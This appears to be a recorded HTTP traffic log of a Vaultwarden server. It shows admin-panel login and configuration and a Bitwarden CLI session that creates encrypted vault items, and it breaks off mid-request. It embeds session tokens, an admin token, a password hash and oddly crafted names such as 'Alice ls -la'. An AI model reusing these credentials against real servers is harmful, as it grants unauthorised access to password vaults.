{"method": "GET", "target": "/vw_static/admin.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/vw_static/vaultwarden-icon.png", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/vw_static/bootstrap.bundle.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin", "headers": ["Host: example.com", "Content-Length: 25", "Cache-Control: max-age=0", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0, i"], "body": "token=example-admin-token"}
|
||||||
|
{"method": "GET", "target": "/vw_static/admin_settings.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/config", "headers": ["Host: example.com", "Content-Length: 2536", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE4NzEsImV4cCI6MTc5NDI4MzA3MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.dqnU1s193U1PLoFNp_4u0tpzEqsjYzZvUYrtf9Q3D3EVUxRIn4EWTEiRBs6TkqDPqSi6JKnNllQuRYkMNVONYZFMHbmsppVUlV5WOhx1A9LvVe7Cqk9WvqA2thcDXubov1xr7B2jr3_JRGrKz5lFL0biHIi_ShI58Fb_aM3SraEJkTxGiP5RQgq5Nt3wBe6ihM7AMmWW03x-uwuGA89mDpHVxT2NpVQT4eEAmV7HsVmHF1-kDANtijg6u-ib8_S2re-pvdFRCN019zb63uRAtuyVJ1DUEbwXZyPifGC9BOKUIXx3lKQEHMS6O8s_umaxqxc19GIojMIU2iIcYhngpQ", "Priority: u=1, i"], "body": "{\"sends_allowed\":true,\"disable_icon_download\":false,\"signups_allowed\":true,\"signups_verify\":false,\"invitations_allowed\":true,\"emergency_access_allowed\":true,\"email_change_allowed\":true,\"password_hints_allowed\":true,\"show_password_hint\":false,\"http_request_block_non_global_ips\":true,\"disable_2fa_remember\":false,\"authenticator_disable_time_drift\":false,\"require_device_email\":false,\"reload_templates\":false,\"increase_note_size_limit\":false,\"dns_prefer_ipv6\":false,\"sso_enabled\":false,\"sso_only\":false,\"sso_signups_allowed\":true,\"sso_signups_match_email\":true,\"sso_allow_unknown_email_verification\":false,\"sso_pkce\":true,\"sso_auth_only_not_session\":false,\"sso_debug_tokens\":false,\"_enable_yubico\":true,\"_enable_duo\":true,\"_enable_smtp\":true,\"use_sendmail\":false,\"smtp_embed_images\":true,\"smtp_accept_invalid_certs\":false,\"smtp_accept_invalid_hostnames\":false,\"_enable_email_2fa\":false,\"email_2fa_enforce_on_verified_invite\":false,\"email_2fa_auto_fallback\":false,\"user_attachment_limit\":1048576,\"org_attachment_limit\":null,\"user_send_limit\":null,\"trash_auto_delete_days\":null,\"incomplete_2fa_time_limit\":3,\"signups_verify_resend_time\":3600,\"signups_verify_resend_limit\":6,\"password_iterations\":600000,\"icon_redirect_code\":302,\"icon_cache_ttl\":2592000,\"icon_cache_negttl\":259200,\"icon_download_timeout\":10,\"two_factor_remember_days\":30,\"admin_session_lifetime\":20,\"sso_client_cache_expiration\":0,\"smtp_port\":587,\"smtp_timeout\":15,\"email_token_size\":6,\"email_expiration_time\":600,\"email_attempts_limit\":3,\"domain\":\"https://example.com\",\"fill_assist_rules_url\":\"https://fillassist.bitwarden.com\",\"hibp_api_key\":null,\"signups_domains_whitelist\":\"example.com,example.org\",\"org_creation_users\":null,\"admin_token\":\"example-admin-token\",\"invitation_org_name\":\"python3 and .htaccess vault\",\"ip_header\":\"X-Real-IP\",\"ip_header_trusted_proxies\":\"local\",\"http_request_block_regex\":null,\"log_timestamp_format\":\"%Y-%m-%d %H:%M:%S.%3f\",\"allowed_iframe_ancestors\":null,\"allowed_connect_src\":null,\"sso_client_id\":null,\"sso_client_secret\":null,\"sso_authority\":null,\"sso_scopes\":\"email profile\",\"sso_authorize_extra_params\":null,\"sso_audience_trusted\":null,\"sso_callback_path\":\"https://example.com/identity/connect/oidc-signin\",\"sso_master_password_policy\":null,\"yubico_client_id\":null,\"yubico_secret_key\":null,\"yubico_server\":null,\"duo_ikey\":null,\"duo_skey\":null,\"duo_host\":null,\"smtp_host\":null,\"smtp_security\":\"starttls\",\"smtp_from\":null,\"smtp_from_name\":\"Vaultwarden\",\"smtp_username\":null,\"smtp_password\":null,\"smtp_auth_mechanism\":null,\"helo_name\":null}"}
|
||||||
|
{"method": "GET", "target": "/admin/users/overview", "headers": ["Host: example.com", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE4NzEsImV4cCI6MTc5NDI4MzA3MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.dqnU1s193U1PLoFNp_4u0tpzEqsjYzZvUYrtf9Q3D3EVUxRIn4EWTEiRBs6TkqDPqSi6JKnNllQuRYkMNVONYZFMHbmsppVUlV5WOhx1A9LvVe7Cqk9WvqA2thcDXubov1xr7B2jr3_JRGrKz5lFL0biHIi_ShI58Fb_aM3SraEJkTxGiP5RQgq5Nt3wBe6ihM7AMmWW03x-uwuGA89mDpHVxT2NpVQT4eEAmV7HsVmHF1-kDANtijg6u-ib8_S2re-pvdFRCN019zb63uRAtuyVJ1DUEbwXZyPifGC9BOKUIXx3lKQEHMS6O8s_umaxqxc19GIojMIU2iIcYhngpQ", "Priority: u=0, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/vw_static/datatables.css", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/vw_static/datatables.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/vw_static/admin_users.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/vw_static/jdenticon-3.3.0.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Accept: application/json", "Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 232", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "scope=api%20offline_access&client_id=cli&deviceType=25&deviceIdentifier=ccfb4fde-2e17-4f5f-8b15-46634b36002f&deviceName=linux&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/api/ciphers", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 1641", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "{\"type\":1,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"549cd3b87c242101679813f95c7c6cac\",\"folderId\":\"c237cd82-467a-4c5d-9497-289558b53894\",\"name\":\"2.Z5nJmiXusWFtUowJ7x5f9A==|OT1Jafd+iP6WNDUDY5W7HzmHWocQ/ddLLa7V/5DQSSg=|hin/K/21td17P1wDUlA0xd+/JjRn1bEIu5hbH/A3kgY=\",\"notes\":\"2.fqwOR1L0ja5sAZTmOMGrPQ==|SvlTbCxXQG5Wx9EYB854VkgJQ3iLcCXFtYfwimCo/O4wdTVdZrmHJTgbkpQr+zD4|Ofi9g56OqdgZM7/ddLzfJH3euRsx2pChmmnqzxzx4ms=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:40:13.604Z\",\"reprompt\":0,\"key\":\"2.qNWgSW0wFWRiBQQ2pBvugg==|kf6Xwaj862w3tBVw8OT64wSSpYa2MNBuOMrc8b8bip7HrTXNfA+GIUW6pRJzwZYmCOesNq46IDpxurmRyQ7Gb9WLPLFx8fsDiZkeI2I24Vk=|ci/4lTheuU7Hlnx8mOufyuwv2mFXteTgl6AQBcvWr/w=\",\"login\":{\"response\":null,\"uris\":[{\"response\":null,\"match\":null,\"uri\":\"2.oQGgNV5p828JCPOVFIHGGQ==|DTvjo/kZiqby8ExwSBarw8GGBSD/IUN615dhbXc9JSc=|ZWDOC3nspTqtrGGAkm1iYeWG/5eV9/GF1oviZmBbvV0=\",\"uriChecksum\":\"2.K5ouCALcJP/tMSf2S7dW+g==|Y7LtYrDmckgUKul737xaMu08uUlCBpDj0X6Ewf0EPvlYIseO8G2ZwdgZQMgEsNKj|1FbMWYkYTA0GuLtaTlZo7WmevR3HPLIF/WVSzN+pPbc=\"}],\"username\":\"2.D034Q18CToi5ThaCH/vu1w==|cyPg7OXzwOMKVvHQTcfwMA==|IMtP9OTXhOu0/favJhaQAIVvwNz5zgqXj+cger9MHac=\",\"password\":\"2.8qcMZleZOhaEhNoETuzkGw==|bhTYthxRwvJ1Kxxmo4Co4prk0aJ5H4sbWuN/Px3Q8Ho=|i9GUianKi4QiSmWu2R0BWHQInbZ9QQlBWNv5+tszlGo=\",\"passwordRevisionDate\":null,\"totp\":null},\"fields\":[{\"response\":null,\"type\":0,\"name\":\"2.YsBSbtParc2pxtRlpURxgg==|Kno9h1nOV1VsuIknb1DeXA==|aV36kKZE3qtt8e/md3zwzVDDPl3hLoaUKAkOHoZQMNw=\",\"value\":\"2.xRJYPuHn8mIO5D743JI9+w==|Nc3RZCADbfznlMviEawJQqpvuQiq5r59heiWKhX8aKo=|7sX/rT3B0t8Fn00Q6Y3FKqcUXOif6xGi1uIWvHipFDE=\"}],\"attachments\":{},\"attachments2\":{}}"}
|
||||||
|
{"method": "POST", "target": "/api/folders", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 127", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "{\"name\":\"2.WVAqr2ytaGgHd+S+ZKeE1A==|gXEYrZ9+X0b0Ed+LykvEHhNSWT1iyYDLbK7WthUMeI8=|Zkw8+UtMRnnT8QLk5mVHoNLvSByUjj+zYhBypot+518=\"}"}
|
||||||
|
{"method": "POST", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63/attachment/v2", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 386", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "{\"key\":\"2.Def2b4y2obPcEEhvLZ52xA==|zoAva9s0BZk3RNy+xbUs5OWWQinGE3MatMZsqAsFC4VwgFizr8ulohf+vwdjFzxoYPzSQAMa6lkqPBaHrU/DHAgx+UDHuYUm8wKrKMz2vp8=|ZyYdXZnb15do5/5u9WMnQvhXuOaI54wOG0yjEz6xutU=\",\"fileName\":\"2.M31m0EXbTECu5cga3Qewug==|v/zzXQqZRUF3z9hD/pwfMg==|JWsETiWitRU5uMe5fFC4MIFOh38K6GnLzoL0TT5BliI=\",\"fileSize\":81,\"adminRequest\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:40:14.010Z\"}"}
|
||||||
|
{"method": "POST", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63/attachment/27064510a3e9ed1edca1", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: multipart/form-data;boundary=--------------------------ac1fbd723921f8cdbcedef14", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Accept: */*", "Content-Length: 372", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "----------------------------ac1fbd723921f8cdbcedef14\r\nContent-Disposition: form-data; name=\"data\"; filename=\"pwfMg==|JWsETiWitRU5uMe5fFC4MIFOh38K6GnLzoL0TT5BliI=\"\r\nContent-Type: application/octet-stream\r\n\r\nAt/odN546UbzO4vonQvDYG0dftxXWYyVm64t/i8bNlKi0/U8UNTrtiSDVyGNbHDAyDpyFsjM+CYFBAwFGgbZXRF/R2UtRsQiqfLnMkDUmgpX\r\n----------------------------ac1fbd723921f8cdbcedef14--\r\n"}
|
||||||
|
{"method": "PUT", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 2160", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": 